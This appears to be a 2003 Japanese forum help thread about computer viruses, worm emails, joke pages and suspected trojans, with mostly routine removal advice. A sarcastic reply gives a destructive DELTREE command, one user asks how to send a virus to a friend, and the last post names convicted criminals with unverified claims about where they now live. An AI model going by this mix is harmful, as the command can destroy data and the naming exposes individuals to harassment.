>>657
常時接続でルータ入れてないなら、NIS。
ただしスペックの低いマシンで特にWin9X系だときつい。

さっそくレスありがとうございます。

ＰＣは少し前に買ったのでスペック的には問題ないと
思います。

NISとアンチウィルスの違いってNISにはアンチウィルス以外の機能が
あって、アンチウィルスにはその機能しかないって事ですか？

>>659
NISにはファイヤーウォールと保護者機能(エログロサイト抑制）がNAVに追加されてる、
つーかノートンスレhttp://pc.2ch.net/test/read.cgi/sec/1048433756/l50と
シマンテックのサイトhttp://www.symantec.com/region/jp/見てくれよ。

>>660
わざわざありがとうございます。
今度から自分で勉強してから質問します。

ご迷惑おかけして申し訳ありませんでした

W32.Opaserv.G.Worm　について進入経路をご存知の方、情報下さい。

今朝会社に来てみたら１０台ぐらいのWin95/98PCがOpaservを検知しておりました。
各PCにはNorton Antivirus Copration Edition が導入されています。

インターネット接続は限られたPCにしか許可していませんし、FWで必要なもの（開いているのはwebとメールぐらい）以外のポートは閉じてあります。
しかし進入されてしまいました。
おそらく何台かに接続されているAirH"からの進入だと思うのですが、駆除ツールを使って感染しているPCを探しましたが見つかりませんでした。

Symantecのサイト見るとファイル共有から感染すると書かれていますが、これはポート137-139を閉じれば防げますでしょうか？
それともまったく別の方法で進入されているのでしょうか？

ご存知の方、よろしくお願いいたします。

（文章めちゃめちゃで済みません）

>>662ちゃんと書いてある。
http://www.symantec.com/region/jp/sarcj/data/w/w32.opaserv.g.worm.html
このワームはMicrosoft Windows 95/98/Meのセキュリティ上の脆弱性を利用します。ワームは1文字のパ
スワードをネットワーク共有に送信することで、Windows 95/98/Meのファイル共有に割り当てられているパ
スワード全部を知らなくても、そのファイル共有にアクセスできるようにします。この脆弱性の影響を受けるシ
ステムはWindows 95/98/Meです。

上記のOSを稼動しているコンピュータ用の修正プログラムは、下記ページからダウンロードいただけます。
http://www.microsoft.com/japan/technet/security/bulletin/MS00-072.asp
上記OSをお使いの方でまだ修正プログラムを適用していないお客様は、必ず修正プログラムを適用して今
後の感染を防止してください。

すみません、>>629は前例がないと言うことで
しょうか？それとも過去ログ読めと言うことで
しょうか？どんな事でも良いので一言お願いします。

>>663
原因わかりました
やはり個人持込のAirH"でした

ご面倒おかけいたしました。ありがとうございます。

>>629
該当しうるケースが多すぎて、それぞれのレスに対してみんな個別に対処できないんすよ。

http://www.aa.alpha-net.ne.jp/sharkey/startpage.htm
http://www.geocities.co.jp/SiliconValley-SanJose/3220/startpage.htm
http://support.microsoft.com/default.aspx?scid=kb;ja;JP320159
http://home10.highway.ne.jp/junsekai/PQR_top.htm
http://members.tripod.co.jp/tef_tef/trouble/adult.html
http://www95.sakura.ne.jp/~jksg/sub/yakudachi/PC_yakudachi_1.htm

http://pc2.2ch.net/test/read.cgi/pcqa/1047359426/1-20
お逝きなさい・・・・

>>629
>>1
ウィルスかどうかはウィルススキャンして判断してください。

age

http://www2.leverage.jp/start/

age

HTML_SAURAに感染しました。
削除はしたのですが今まで見ることが出来たのに見られなくなってしまったファイルが
結構あります。どうすれば直るのでしょうか。

今までデジカメでとった写真とかも全部見られなくなってしまったんですけど
どうしたら良いんですか？

>>672-673
検出したウイルス対策ソフト名は何？

ウィルスバスター２００２です

>>675
「HTML_SAURA」で検出名はあってる？データベースに見つからないんだが･････

HTML_SAUR.A　かまたは　HTML_SAUR,Aでした

間違ってました。
HTML_SUAR.Aでした

>>678
やっと検索に引っかかりました。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=HTML_SUAR.A

ブラクラなので、検出されたファイルを全て削除すれば大丈夫のはず。

HTML_SUAR.AはHTML文書の中に記述が加えられるものだから、見られなくなったファイルってHTML文書かな？
＞特に感染マシン上でファイルコピーやレジストリ改変などのシステム改変は行いません。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=HTML_SUAR.A

>>679
ありがとう御座います。早速試してみます。
>>680
HTMLとJPG全部です。
撮りだめした写真が見られなくなって必死になってます。

>>681
jpgには影響ないよ。HTML自体はあきらめても、jpg画像だけなら影響を受けてないはずなんだけど。

HTMLファイルとJPGファイルは今までのアイコンとは変わってしまって
ウィンドウズの旗マークになってます。

そうですよね。何故こんな事になってしまったのか。

>>683
リソース不足でアイコンが変わってしまったと思われるので、
一旦再起動してみて下さい。

HTML_SUAR.Aはファイル削除とかはしないので、再起動しても大丈夫です。

>>683
ファイルの関連付けが壊れたんだろう。
例えばhttp://www.microsoft.com/japan/enable/training/kblight/T006/4/16.htm

拡張子もJPGになってるのにファイル形式を特定できませんってでます。
（；；）うう

縮小表示はできるんですけどどうしてもファイルを開く事が出来ません。
レスいっぱいしてごめんなさい。必死なもので。

>>687指示されたとおりにやってるのかな。
再起動、もしくはフォルダオプション。

一方通行みたいなので回答から降ります。あとはどなたかよろしくです。

画像の破壊は行なわないウイルス(ウイルスとも呼べないような)なんだが…

おーい、いないなら俺も帰るぞ。
ヤフーのJPG画像も駄目なら別問題だな。

すいません。再起動してました。

フォルダオプションをどうすればいいのでしょうか？

>>694
その前に、その画像はIEで見れる？

>>695
今やってみたらIEでは見られました。
それからスタート→プログラム→マイクロソフトオフィスツール→フォトエディター
でやれば見られることに今気付きました。
でもマイドキュメントから開こうとすると出来ません。

>>696
http://pc2.2ch.net/test/read.cgi/pcqa/1047359426/3
ここのA10をやってみてください。

A10をやって再起動したらHTML文書は見られるようになりました。
ありがとうございました。
でもJPEGは開けないままです。

マイドキュメントのフォルダ設定をいじってみてください。
設定は画像関連を。

遅くなってすいません。
いろいろフォルダ設定とかいじって再起動してるんですけどうまくいきません

長々とありがとう御座いました。
とりあえずスキャンディスクしてみます。

皆さんありがとうございますた。
半分治りますた。

このｽﾚには誘導されて来ても「マルチ氏ねマルチ放置」と
まるで機械のようにほざくｱﾌｫがいます。

「貴方のPCはウィルスに感染しています。
このツールで駆除しなさい」とウィルスプログラムが付属されていた。
ｶﾞｸｶﾞｸ。

>>704.
どのウィルスソフトで「貴方〜」の文章が表示されたのか。
どうして備え付けられていたプログラムがウィルスだとわかったのか。
そのあたりをまず教えてほしい。

age

今日、以下のようなヘッダーの件名なし、アドレスなし、
ウィルス添付ファイルあり（HIELPEHI.EXE）のメールが来たんですが、
送り主（相手のプロバイダだけでも）を突き止めることは可能でしょうか？

Date: Sun, 6 Apr 2003 17:49:55 +0900 (JST)
Message-Id: <200304060849伏せますね@mail.伏せますね.co.jp>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--VEYBW127KDY705"

>>707
日付とContent-Typeだけでわかるわけねーだろカス

>707 肝心なアレがない。

>708-709
ヘッダーがこれだけだったんですよ。
漏れも通常のヘッダーなら対処法がわかったんですが…
やっぱりむりですか…

>>707
自分で自分にメル送ってヘッダみてみ。

>711 独自 MTU なんでしょう。きっと。

だめだ、寝よ…
×MTU
○MTA

>>712
Max Transfer Unit?
という突っ込みはさておき、自ISPから送られた場合はRecieved抑制する場合もある。
例: かつての和ジオ

>711-712
すみません、意味がよく解かりません。
それと、このメルアド、受信ONLYのフリーメールアドレスなので
送信できません。

昨日来たウィルスメールは通常のヘッダーだったので
プロバイダに通報できたんですが…(´･ω･`)

（・３・）　エェー　ボクウイルス入りの添付ファイル付きメールなんて貰った事がないんだがYO

あ、リロードしていなかったら…
でもMTAでも意味が解からなかったり……(´･ω･`)

>714
実は和塩のアドレスなので、
和塩から送られてきたはずはないんですけどねぇ…

なんか変なウィルスメールだと思ったので
ちょっと気になって

>>717
和ジオか、垢残ってたので試してみたら和ジオはrecieved追加しないので直送されたら判別不可能。
ウイルスくらいでオタオタしないよう精神力を鍛えろ。

>718
レスどうも。
いやこのアドレス、サイトで公開しているせいか
殆ど毎日のようにウィルスが…
サイトは１日訪問者が５人くらいの超ピコなんですけどね…
精神力を鍛えます。

>>719
ブラウザキャッシュからメアド拾うウイルスもある
mailtoのリンクは外しておいた方が吉。

ウイルスに感染すると、自分が送ったメールには『必ず』ウイルスつき添付ファイルがつくんでしょうか?

んなわけない
ちったぁ勉強しろ

age

>720
レス、Thx!
無料のメールフォームサービスにアドレスを変更して
mailtoを外しました。

それじゃあ、たとえばklezなんかに感染した場合、
アドレス帳に自分のメアドを登録して、インターネットに接続していれば来るんでしょうか?

>>725
http://pc.2ch.net/sec/kako/1018/10182/1018248786.html
http://pc.2ch.net/sec/kako/1021/10211/1021137509.html
http://pc.2ch.net/sec/kako/1024/10242/1024255721.html
http://pc.2ch.net/test/read.cgi/sec/1030175440/

よろしくお願いします。

２CHの実況・スポーツ・MotoGp鈴鹿で、
cgi.io-websight.com/index2/uploader/img/hare2284.jpg
というのをクリックしたところ、

「ウイルスをダウンロードします」
「hack.exeをダウンロードします」
「危険ですので、電源を切らないでください」
と表示されて、ダウンロード終了後、
ドクロの上に「THE END」とかかれた画像が出てきたのですが、
ネットで調べて見ても良く解からず、
ネット上でウイルススキャンしてもウイルスは発見できず、自分のパソコンがウイルスに感染しているかどうかも解からない状態です。
何しろウイルス初体験ですので、どうすればいいのか解かりません。
どなたか、教えていただけないでしょうか？
ちなみに私の環境は、win98se,IE6.0,Norton Antivirus5.0
自分勝手な質問で申し訳ありませんが、よろしくお願いします

>>727
画像が表示されただけです、ウィルスでもなんでもありません
普通は笑うところを、本気になって焦っているだけです

なんでもかんでも踏む癖を直しましょう

728さん、どうもありがとうございました。
「THE END」と出た瞬間、目の前が真っ暗になりました。
おっしゃる通り、これからは気をつけます。
ありがとうございました。

>>729.
ジョークでよかったね。中には本当にいたずらするのもあるので、
これから注意して楽しいネットライフを送ろう。
たぶん、2000年の暮れにはやったやつだと思う。
似たようなので、「ハッキングされています」とか、
「個人情報を編集しています」が出て「完了しました。転送します」とかもある。

この手のものは慣れるか近寄らないかくらいしか対策のしようが無いからねぇｗ

>>730
本当に良かったです。
今まで「自分は大丈夫だろう」なんて思ってたけど、
今回の事でセキュリティーの重要性に気づかされました。
これからはむやみやたらと開かないよう、注意したいと思います。
どうもお騒がせしました。
それでは。

ゾーンアラームを入れているんですが、PC立ち上げるたびに、
svchost.exeっていうのがサーバーとして動こうとします。

これはなんだろ？と思って調べたんですが、
トロイの木馬に感染すると同じ名前のファイルが作られるそうで・・。
けど、svchost.exe自体は有効なファイルだからこれがあるからといって
必ず感染してるわけではないとも書かれていました。

で、どうやって見分ければいいのかわからないでの、教えてください。
普通にオンラインのウィルススキャンして引っかからなければ、
問題ないでしょうか？

>>732
アンチウィルスソフト入れてないのか？

>>732
OSもレジストリーキーも分からないんじゃ・・

アンチウィルスソフト定義ファイルを最新にし、セーフモードで起動したら
隈なくシステム全体をスキャンしとけ。

質問です。既出でしたらスイマセン。

先日、クレズらしきウィルスに感染したのですが
ノートン アンチウィルスでスキャンしても検出されませんでした。
感染していなければいいのですが、差出人を偽ってアドレス帳に
登録してあるアドレスに勝手に送信するウィルスってクルズですよね？

しかしスキャンした結果、VBS.LoveLetter.Aに感染していました。
これが、メールを勝手に送っているのでしょうか？
それとも、クルズはアンチウィルスでスキャンしても
検出されないのでしょうか？

教えて君で誠に申し訳ありませんが、アドバイスをお願い致します。

VBS_MERASH.A に感染してしまい
オンラインスキャンしてそのファイルを削除したんですが
それだけで大丈夫でしょうか？

質問するときは、OS、メーラ、検出したアンチウィルスソフトなど環境を
詳しく書くこと。ここの住人は超能力者ではありません。

検出したウィルス名が分かる場合、まずその検出したアンチウィルスソフトの
メーカーのウィルス辞典等で情報を調べるのが基本です。

ウィルスかどうかはウィルススキャンして判断してください。
挙動・メールの件名・添付ファイル名だけではウィルスかどうか確実に判断できません。

>>735-736
いずれも過去ログに何度も出ているので、そこのリンク先参照。

>>738
シマンテックからW32.Klez駆除ツールを落として
実行しました。
その結果、
Neither W32.Klez.gen@mm nor W32.ElKern.gen
were found on your computer.と出ました。

これは駆除が成功したと考えてよろしいのでしょうか？
そのあと、アンチウィルスも再インストールしました。

分かる方、アドバイスお願いします。

>>739
シマンテックのサイト見ればわかることをきくなよ。
誰かに大丈夫と言ってもらいたい気持ちは分かるが…
＞LiveUpdateを実行し、ウイルス定義を最新版に更新し、コンピュータの
＞スキャンを再度実行します。NAV で修復できないファイルは削除してください。
http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
http://www.symantec.com/region/jp/sarcj/data/w/w32.klez.removal.tool.html

スイマセン。心配性なもので。

ツールで駆除するまえに、アンチウィルスで試みたのですが
違うウィルスが発見され、クルズが発見されなかったので
本当に駆除出来たのか心配なんです。

LiveUpdateを実行して、ウイルス定義を最新版に更新し、
コンピュータの スキャンを再度実行したのですが
ウィルスが発見されなかったので、大丈夫だと
判断します。

色々ありがとうございました。

age

既出でしたらすいません。とるものもとりあえずご質問します。
オンラインスキャンで、TROJ_VB.Hというウィルスが発見されました。
トレンドマイクロのウィルスデータにも載っておらず、対応にこまっており
ます。削除すればすめば良いのですが、どうか教えてください。
お願いいたします。

追伸です。
今、削除しようとしましたら、現在使用中のためアクセスできないとなり、
削除できません。どうすればよいでしょうか？

>>743-744
>>737

ほんとにOS書かないで質問するﾔｼ多いな。嫌がらせか？

http://www2.leverage.jp/start/

すいませんでした。
ウィンドウズ９８です。よろしくお願いいたします。
本当に困っております。

それと、メーラーはＩＥです。トレンドマイクロのオンラインスキャンで
判明しました。お願いします。

>>743-744
(　´,_ゝ｀)ﾌﾟッ　ＭＳ−ＤＯＳモードで起動
　　　　　　　　　Ｃ：￥＞ＤＥＬＴＲＥＥ　Ｃ：￥(ここは消したいキーを）
　　　　　　　　　削除しますか（Y／N）？　で　Y

　　　　　　　　　 まっ、[ctrl]+[alt]+[del]で使用中のプロセスを終了させてから削除でもいいけどな。

>750
ご教示ありがとうございます。
情けないことですが、そのＭＳ-ＤＯＳモードで起動するとはどういうこと
でしょうか。教えてください。

>>751
(；´,_ゝ｀)ﾌﾟッ　スタート＞Windowsの終了＞MS-DOSモードで再起動　する。
　　　　　　　　　君は下の方法のほうがよさげ。

>752さん
ありがとうございます。ＭＳ−ＤＯＳモードで再起動したあと、ＤＥＬＴＲＥＥ
までは行き着くにはどうしたらよいですか？Ｙで消してその後、どうすれば
よいでしょうか。初心者ですのでお手数をおかけします。
どうか教えてください。よろしくお願いいたします。

>>753
(；；´,_ゝ｀)ﾌﾟッ　だから下のほうやれって。
　　　　　　　　　[ctrl]+[alt]+[del]で問題のプログラムを選択（赤く反転）＞[終了]を♂
　　　　　　　　　その後、手動で削除出来るはずだ。

>754さん
わかりました。そちらでやってみます。
ありがとうございました。
また報告に参ります。

>754
その方法は不可能でした。プログラム使用中となっているというアラートが
でますが、ctrl+alt+delをしましても、そのプログラムは入ってません。
上の方法をおしえてください。お願いします。

>>756
(　´,_ゝ｀)ﾌﾟッ　ほんとにちゃんとやったのか？
　　　　　　　　　じゃぁ、起動時にF8キー何度か押してセーフモードで起動。
　　　　　　　　　それで手動で削除できんか？

　　　　　　　　　ＭＳ−ＤＯＳモードでの削除はcdコマンドでディレクトリー指定、
　　　　　　　　　Dirコマンドで問題のプログラム検索、Delコマンド後エンターで削除。
　　　　　　　　　出来るか？PC初心者板のほうがよかれ。
　　　　　　　　　つーかﾈﾀに釣られちゃった・・・
　　　　　　　　　

age

ネタではありません。
その問題のウィルス「TROJ_VB.H」が入ってるというファイルが、C:\WINDOWS
\ShellNew\explorer.exeであるとなってます。
これって、エクスプローラのプログラムファイルなのでしょうか？
削除したら大変なことになるのでしょうか？
どうか、教えてくださいませ。お願いします｡

>>743-744
Safeモードで再起動して、これ使え。
Reboot File Deleter Ver.1.05
http://member.nifty.ne.jp/T_sugiyama/

>>759
ちょい待て。
漏れの760のレスを実行する前に、他のアンチウイルスソフトでスキャンしてみてみそ。

>>760
(　´,_ゝ｀)　そんな便利グッツあったのﾈ

>>759
http://www.symantec.com/region/jp/securitycheck/index.html
ここのセキュリティチェックのウィルススキャンやってみて。

しかし、トレンドもウィルスデータベースにないトロイを検出すんなよ。
検出する以上はデータベースに載せとけよ。

>>764
トレンドの検出名は、他のベンダーやWILD LISTと全く関連が無い名称だったりするし。
またちょこちょこ名称を変えたりするから、整理しづらいっすね。

>760〜764さん
ありがとうございます。
７６３さんのおっしゃるように、いまからそのウィルススキャンやってみます。
また、報告にきます。みなさん、感謝します。

(　´,_ゝ｀)　C:\WINDOWS \ShellNewにあるなら削除してよかれ。

　（　・∀・）＜　こんなのみつけたっち♪
http://muryou.gasuki.com/moe/hankaku10.html
http://muryou.gasuki.com/moe/hankaku09.html
http://muryou.gasuki.com/moe/hankaku08.html
http://muryou.gasuki.com/moe/hankaku07.html
http://muryou.gasuki.com/moe/hankaku06.html
http://muryou.gasuki.com/moe/hankaku05.html
http://muryou.gasuki.com/moe/hankaku04.html
http://muryou.gasuki.com/moe/hankaku03.html
http://muryou.gasuki.com/moe/hankaku02.html
http://muryou.gasuki.com/moe/hankaku01.html

(　´,_ゝ｀)　まぁただのショートカットかもしれんが・・

いま、７６３さんの教えてくださったウィルスキャンをやっている最中です。
まだ、時間がかかりそうです。お風呂に入ってきましたがまだまだって感じです。
７６７さんの、ゆうとおりかとも思いますが、せっかくですので、ここのウィル
スチェックをすましてから、またいろいろ教えていただきたいと思います。
今回の、感染はアニメサイトであそんでたら、notfind的なところに行って適当に
飛ばされてこのような仕儀になった物と思われます。メールの添付云々ではあり
ませんので非常に心外です。このような、くだらない仕掛けを作った人に怒りで
す。私自身の貴重な時間のみならず、このようなものにお教えをいただく方々の
貴重な時間をお取りしてしまい、まことに感謝の念に耐えません。
どうか、今後ともよろしくご教示の程、お願いいたします。

763さんに教えていただいたsymantecのウィルススキャンでは、ウィルスは
検出されませんでした。ほっとしたと同時に、どうすればいいのかと戸惑います。
どうか、皆さん、これからもご教示お願いいたします。
このPCがだめになると、いろいろ大変なことになりますので、重ね重ね、おねがい
いたします。

ウイルスに感染したみたいで、下のようなメッセージ勝手に送りまくって
PC起動するときlsass.exeエラーで強制シャットダウンされます・・・
なんていうウイルスでどうやって除去したらいいんでしょうか？
ウイルスバスターにも不正アクセスとしか出ないですしもうどうしたら・・

microsoft.com account auto-reply:

If you can keep your head when all about you
Are losing theirs and blaming it on you;
If you can trust yourself when all men doubt you,
But make allowance for their doubting too;
If you can wait and not be tired by waiting,
Or, being lied about,don't deal in lies,
Or, being hated, don't give way to hating,
And yet don't look too good, nor talk too wise;
... ... more look to the attachment.

>>732を書き込んだものです。

環境をまったく書かないにも関わらず、即レスありがとうございます。
OSはXPproで、メーラーはEdmax、レジストリーキーはなんのことか解らないです・・・。
変な添付ファイルは開けていません。

アンチウィルスソフトは特に入れてなく、
定期的にトレンドマイクロのウイルスバスターオンラインスキャンでチェックしています。

http://www.saitama.gasuki.com/kaorin/

　　〜oノノハヽo〜
　 　　 （　＾▽＾）／⌒＼　　　　　　　　　　　　　　　　　　　　　　 , −-
　　 　 （（ﾆ[二=（　　こんなのがございま−−＝＝≡≡す♪　 ）)
　　 ／∧＝:||　 ＼＿／　 　　　　　　　　　　　　　　　　　　　　　`ー‐‐'
　 　　 じ/___/

souchost.exe

これ何？

age

age

昨日はありがとうございました。symantecのウィルスチェックではウィルスは
でませんでしたが、相変わらずトレンドマイクロではTROJ_VB.Hというウィルス
がいて、削除できません。また、C\WINDOUS\shellNew\explorer.exeという
そのウィルスがいるといわれているファイルが、CドライブのＷＩＮＤＯＵＳ
ディレクトリには、存在しません。今後どのように、対応すればよいのか教えて
下さい。みなさん、お願いいたします。

はああ、どうすればいいのでしょうか？
困り果てております。
どなたか、お助けください。

>>779
思い切ってフォーマット→OS再インストール。
何の芸もないが、これが究極で最短の対応策かと思うが。

>>778
トレンドの誤検出だろう。トロイ系に誤検出多い。

>780さん,781さん、ありがとうございます。
再インストールも考えましたが、踏み切れません。もう少し頑張ってみます。
トレンドの誤検出だとすれば、ほんと、うれしいです。
symantecのウィルスチェックの方が正確ということでしょうか。だとすれば、
何もせずに無視していれば良いのですね。ご教示ありがとうございました。
初心者同然ですので、非常に弱気になってしまい仕事も手につきません。
さらにアドバイスなどありましたら、よろしくお願いいたします。
　　　　　　　　　　　　　　　　　　　　　　　　　　　　感謝！！

>>783
昨日シマンテックの方もやってみれ、といわれてたのは
誤検出の可能性があるから。
シマンテックの方が正確というわけではないが、トレンドマイクロの方は
トロイ系の誤検出が多いので有名。

今後はアンチウィルスソフトを常駐させて、定義を最新にしておくこと。

http://www.saitama.gasuki.com/kaorin/
　　　　　　　こんなのございま−す♪
　　　　　　￣￣￣￣∨￣￣￣￣￣￣￣￣￣￣
　　　　　　　　〜oノハヽo〜
　 ,.-''"¨￣●`' ‐（＾▽＾）
　(,,●i,,,i,,,,,,,,i,,,,●),,)⊂　）
　　　 ）　　（　　　　|｜　| 　　
　 　 （ ＾▽＾）　　（_（＿_）
~~~~~ ￣￣ ~~~~~　　　 ~~~~~

http://impress.tv/suidou/try.htm

>>778
(　´,_ゝ｀)ﾌﾟッ　やっぱりﾈﾀか？と突っ込みたいところだが
　　　　　　　　　解せない事が多すぎるので漏れも>>781だね。
　　　　　　　　　恐らくトレンドに問い合わせても有用な情報は得られないと思われ。以上です。

>>787
オンラインスキャンのサポートを求められても放置じゃあ？

>>783
再インストールを戸惑う間は初心者その物。
次からは下記を推奨。

パソコン初心者＠2ch掲示板
http://pc2.2ch.net/pcqa/
コンピュータウィルス総合スレッド VOL.28
http://pc2.2ch.net/test/read.cgi/pcqa/1046237849/l50

>784〜788さん
本当にありがとうございました。皆さんのような頼りがいのある、プロの
方々にいろいろアドバイスいただきましてまことに嬉しい限りです。
いささか気持悪さは残りますが、このトレンドの検出ウィルスは放置して
明日から業務にフル回転することにいたしました。今のところ目立ったおかしな
状況は有りませんので、今節は、今の状況で運用していこうと思います。
今後ともよろしくお願いいたします。

what?

どなたか、Xtremeというサイト？の接続ソフトの削除の仕方知らないですか？
ファイルやショートカットを削除しても、PC再起動させるとまた復活
してしまうんです。レジストリでしょうか？
PC重くてしょうがないんです。接続ぶちぶち切られるし･･･

>>791
板違い。
ネットワークセキュリティと関係ない。

>>791
パソコン初心者＠2ch掲示板http://pc2.2ch.net/pcqa/へ

AIソフト、警察庁@policeから違法コピー
http://news2.2ch.net/test/read.cgi/newsplus/1049546428/454

ワラタ

age

ウイルスを友達に送りたいので送り方教えてください

>>796
板違い。板TOP参照。どっかうせろ。

KLEZがやってきました。
ウイルススキャンで削除したはずなんですが出勤前で慌てておりまして･･･
本当に削除できているのか感染していないのか確認をしたいのですが
方法はありますでしょうか。
一応スキャンは掛けてみたのですが引っかかりませんでした。
が、しかし添付ファイルフォルダにはなにやら残っている様子。
これは自分の手でゴミ箱へ削除してしまっていいんでしょうか・・・
環境は窓ME　IE6　ポスペにて受信です。
どなたかよろしくご教授ください。

>>798
アンチウイルスソフトによっては、受信後のメルはスキャンしてくれなかったりするんですが。
そゆ事なんでしょか。
手動で捨ててまって下され。

OS2000ですが、
DEVULS_DANCEウイルスを駆除したんです。
ですがHDD容量があまりに少ないので何かと思えば
TempフォルダのGLCファイルが膨大に膨れ上がって
数Gほど取られました。

これはウイルスが原因なんでしょうか？

>>800
Devil's Danceは10年以上前のウイルスなんすけど。
それとも違う奴なんでしょか。

tmpとかTempフォルダの中身ってのは、大体は消してしまっても問題無いんすけど。
んでもGCLってのが何なのか知らんので。
消すなら自己責任で、漏れを恨まないで下され。

ちなみにこれね。
http://www.nai.com/japan/virusinfo/virDdos.asp?v=Devils_Dance

レスありがとうございます。
今の残りHDDが12Mとかって表示されてるので
ファイルごと消すしかなさそうですね。
消してだめでしたらOS再インストール実行してみます。

>>803
漏れは確かに、「tmpとかTempフォルダの中身」って書きますた。
フォルダごと消したらダメやん。

(　´,_ゝ｀)ﾌﾟッ　どちらでもいいがTempなんぞ迷わずサッサと捨てろ
　　　　　　　　　起動のたびに捨ててもいいくらいだ。

>>799　cheshire-cat様
アドバイスどおりに添付ファイルをゴミ箱から削除し
再度ウイルススキャンとオンラインウイルス検索を二重にかけて
感染なしを確認いたしました。
ご教授ありがとうございました。

http://www.geocities.jp/mmoussyy/
すいません、これってネタですよね？
このサイトに入ると、うろ覚えなんですが
ディスク削除中とか出ます・・・すぐ消しました。
しかし、次再起動するともう立ち上がらなくなるとか心配です。

>>807
ネタだから大丈夫　初心者質問スレやくだ質にもあったなこれ･･･
心配ならオンラインスキャン汁

>>808
どうもサンクス。
ウイルスの件は、ウイルスバスター入れてるので大丈夫だと思います。

>>807
ウィルスには直接関係ないので、スレ違いかもしれんが、
MicrosoftVMの脆弱性を悪用することで、Web訪問者のHDD初期化も可能だ。
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms03-011.asp

さっさと修正パッチ入れておこう（Windows UpdateでOK）。
パッチを当てないPCを狙ったウィルスが発生するのも時間の問題。

パソコン初心者なんで、ウィルスについては何も分らなくて･･･
Norton　AntiVirusでスキャンをしたら、感染が一つ見付かりました。
VBS.Network.E というやつです。
削除すればいいのかな？と思い、削除をクリックしたら
「このシステムを永久に削除しますか？」と出ました。
本当に削除しちゃっていいのでしょうか？？
感染場所は
C:\Documents and Settings\（自分の名前）\Local Settings\Temporary Internet Files\Content.IE5\HSSJ19O1
となっています。

>>811
（・３・）　エェー　削除していいYO

>>811
その場所はブラウザのキャッシュなんで、捨ててまってもええはずです。

>>812-813
ありがとうございました！
助かりました(^_^;)

ウイルスのMelissa持ってる人、居ます？

たつけてくり

はじめましてウイルスに感染しました

ウイルス名は「I-worm　HAPPY　TIME」「トロジャン」です
■症状
・すぐメモリがいっぱいになり再起動を迫られます
　ヘタすると起動して３分くらいで
・起動時に「申し訳ございませんが、gif、jpg、壁紙に対応しておりません」と表示される
　実際、画像ファイルや動画ファイルをクリックするとフリーズする
・普通に終了動作を行ってくれない
　また、コマンドで強制終了しようとしてもしてくれない
　
ＰＣはWin98です
よろしくおねがいします

すいません
質問スレということで、ファイルは削除すればよろしいでしょうか
フリーウエアの駆除ツールとかりましたら教えていただけたらと思います

はじめてウイルスというものに遭遇してどうしてよいのか検討がつきません
なにかアドバイスをください　おねがします

>>817
セーフモードで起動して処理してくだされ。
電源入れてメーカーのDynaBookだの何だのという画面が表示される直前にCtrlキーを連打。

ウイルスが検出されたHTM、HTML、ASP、VBS、HTTファイルは全て削除。

>>819
ありがとうです
さっそくトライしてみます

たった今>>811と同じ症状に、奇遇な!
同じくNorton使っててそれの報告見るとほぼ811の方と同じ場所に入っていたのですが
Nortonのリポート読んでみると｢修復できません」｢アクセスが拒否されました」とのこと。
とりあえずIEのオプションからテンポラリーファイルの削除を行い、潜伏先のファイルを見
てみたのですが空でした。これでよかったんでしょうか？

813 ：cheshire-cat ◆CATBCJABLA ：03/04/11 22:30
>>811
その場所はブラウザのキャッシュなんで、捨ててまってもええはずです。

「ブラウザのキャッシュ」このくらい自分で調べような？

あげます。

結果報告します
先ほど、ウィルスに感染したファイルをすべて削除いたしました
そのあとためしにjpgファイルをクリックしてみましたが無問題でした
いま、再度ウイルス検索かけて最後の確認しています

アドバイスくれた方ありがとうです　感謝

削除の仕方教えて下さい。自分の知識ではいっぱいいっぱいです。
繋げっぱなしにしてて朝起きて気づきました。画面右下のスタートアップの
ところにCurrent Connectionなるアイコンが常駐するようになってしまいました。
アイコンの上にカーソルを重ねるとIPアドレスが表示されます。
そして、ネット接続すると、自分のIPアドレスと不明なIPアドレスの２つが
表示されます。
ダブルクリックすると小さなウィンドウが開かれ、
タイトルバーには【Current connection】と表記され、
ウィンドウ内には【No Connections】となっています。
OSはWindoes2000、IE6.0を使っています。ネット環境はADSLです。
アプリでもなくスタートアップにも該当するようなものは何もないです。
トレンドのオンラインスキャン、ＡＶＧウイルスチェック、スパイウェアチェック
しましたが、どれも当たりませんでした。
ちなみに、ファイヤーウォールは入れていません。そしてソフトもインストール
した覚えもありません。

ファイアーウォール入れろ。
ソフト消せ。

This is a humour game
This game is my first work.
You're the first player.
I hope you would like it

>>825
http://www21.ann.co.jp/pas/bbs/pslg21545.html#21598

age

>>828
ほんとにありがとうございました。
そこのサイトは検索しても見つけれませんでした。
そのサイトに書いてあったとおりの現象で本体らしきのものもあったので、
削除できました。あやうくＯＳインストールしなおすとこでした。
さっそく、ZoneAlarmを入れました。

（・３・）　エェー　ボクOS再インスコなんて半年に一回はやってるC〜
　　　　　たまには再インスコしたほうがいいYO

アンチウィルスソフトを２つ以上導入しても大丈夫でしょうか？

・AVG Anti-Virus（常駐する、検知・駆除可、ウィルス定義のアップ遅い）
・BitDefender（常駐しない、検知・駆除可）
・ANTIDOTE SuperLite（常駐しない。というか、こちらはインストール
　せずに毎回圧縮ファイルを解凍して利用するので、ほかのソフトに
　影響を与えない設計らしい。ただし、ウィルス自動駆除はできない）

それぞれフリーなので、機能の欠けている部分を補うように
３つ入れたいのですが、問題あるでしょうか。

>>832
多分大丈夫だと思うよ
常駐する物が２つあるのは問題だけど、
非常駐型であればよいと思われ

>>833
ありがとうございました！

ＴＲＥＮＤ　ＭＩＣＲＯウィルスバスターＯｎ−ｌｉｎｅＳｃａｎで検索したら
ウィルス名ＴＲＯＪＰＷＳＬＯＧＭＯＤＢ　解除可能　いいえ
ファイルＣ￥WINDOWS￥ｓｙｓｔｅ...と出てしまいました。
どうすれば良いか教えてください。お願いします。

絶対に忘れてはならない事件です。
こいつらの犯した残虐な犯行はもはや人間の仕業ではありません。

犯人の氏名
●宮野　裕史（Ａ）
　 主犯格。懲役２０年の刑で服役中。2008年出所予定。
●小倉　譲（Ｂ）
　 すでに刑務所から出所。栃木県に潜伏との情報あり（未確認）
氏名、名前を変えている可能性が有ります。
●湊　伸治（Ｃ）
　 犯行現場の部屋の提供者。すでに刑務所から出所。
千葉県市川市に潜伏との情報あり（未確認）
氏名、名前を変えている可能性が有ります。
●渡邊　泰史（Ｄ）
　 少年院でいじめに合い、現在引きこもり症候群。
●中村　高次（Ｅ）
